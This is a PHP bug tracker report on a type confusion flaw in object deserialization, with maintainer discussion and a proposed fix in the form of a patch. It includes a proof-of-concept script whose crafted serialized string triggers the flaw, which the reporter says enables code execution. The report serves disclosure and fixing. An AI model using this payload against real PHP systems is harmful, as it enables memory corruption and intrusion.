php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72731 Type Confusion in Object Deserialization
Submitted: 2016-08-02 11:27 UTC Modified: 2017-01-16 13:29 UTC
From: taoguangchen at icloud dot com Assigned: nikic (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.24 OS:
Private report: No CVE-ID: None
 [2016-08-02 11:27 UTC] taoguangchen at icloud dot com
Description:
------------
This bug is similar to bug#69425:

```
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, ht, elements, 1)) {
		return 0;
	}

	ZVAL_DEREF(rval);
	if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
		zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
```

A object-type ZVAL can be converted into other types via process_nested_data() with a crafted __wakeup(), then the ZVAL pass to Z_OBJCE_P, that result in type-confusion and code execution easily via a integer-type ZVAL in PHP7 series.

PoC:
```
<?php

class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = 0x1122334455;
	}
}

$poc = 'O:8:"stdClass":1:{i:0;O:3:"obj":1:{s:4:"ryat";R:1;}}';
unserialize($poc);

?>
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-07 23:15 UTC] stas@php.net
-PHP Version: 7.0.9 +PHP Version: 5.6.24
 [2016-08-07 23:15 UTC] stas@php.net
5.x has worse problem here as object can be destroyed in the middle of construction. I think supporting nested references was a huge mistake in hindsight :( Now we need to check everything on every step, I'm not even sure how to do it really. I'll look more into possible fixes.
 [2016-08-07 23:48 UTC] taoguangchen at icloud dot com
I think that the separation of ZVAL to solve these bugs. Plz check the solution where I post in other bugs.
 [2016-08-17 05:52 UTC] stas@php.net
-Private report: No +Private report: Yes
 [2016-09-26 04:42 UTC] stas@php.net
Could you add link to the solution you mean?
 [2016-09-26 04:47 UTC] taoguangchen at icloud dot com
https://bugs.php.net/bug.php?id=70513
 [2016-09-27 16:30 UTC] taoguangchen at icloud dot com
The follow patch can fix this bug (against PHP 5.6):
```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
...
            var_push_dtor_no_addref(var_hash, &data);
			return 0;
		}
		
+		if (!HASH_OF(*rval) || HASH_OF(*rval) != ht) {
+			var_push_dtor_no_addref(var_hash, &data);
+			var_push_dtor_no_addref(var_hash, &key);
+			if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
+				(*p)--;
+				return 0;
+			}
+			continue;
+		}

		if (!objprops) {
		switch (Z_TYPE_P(key)) {
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
	    ZVAL_NULL(*rval);
		return 0;
	}

-    if (Z_TYPE_PP(rval) != IS_OBJECT) {
-       return 0;
-    }

+	if (Z_TYPE_PP(rval) == IS_OBJECT &&
		Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
```
 [2017-01-16 13:29 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 15:01:29 2024 UTC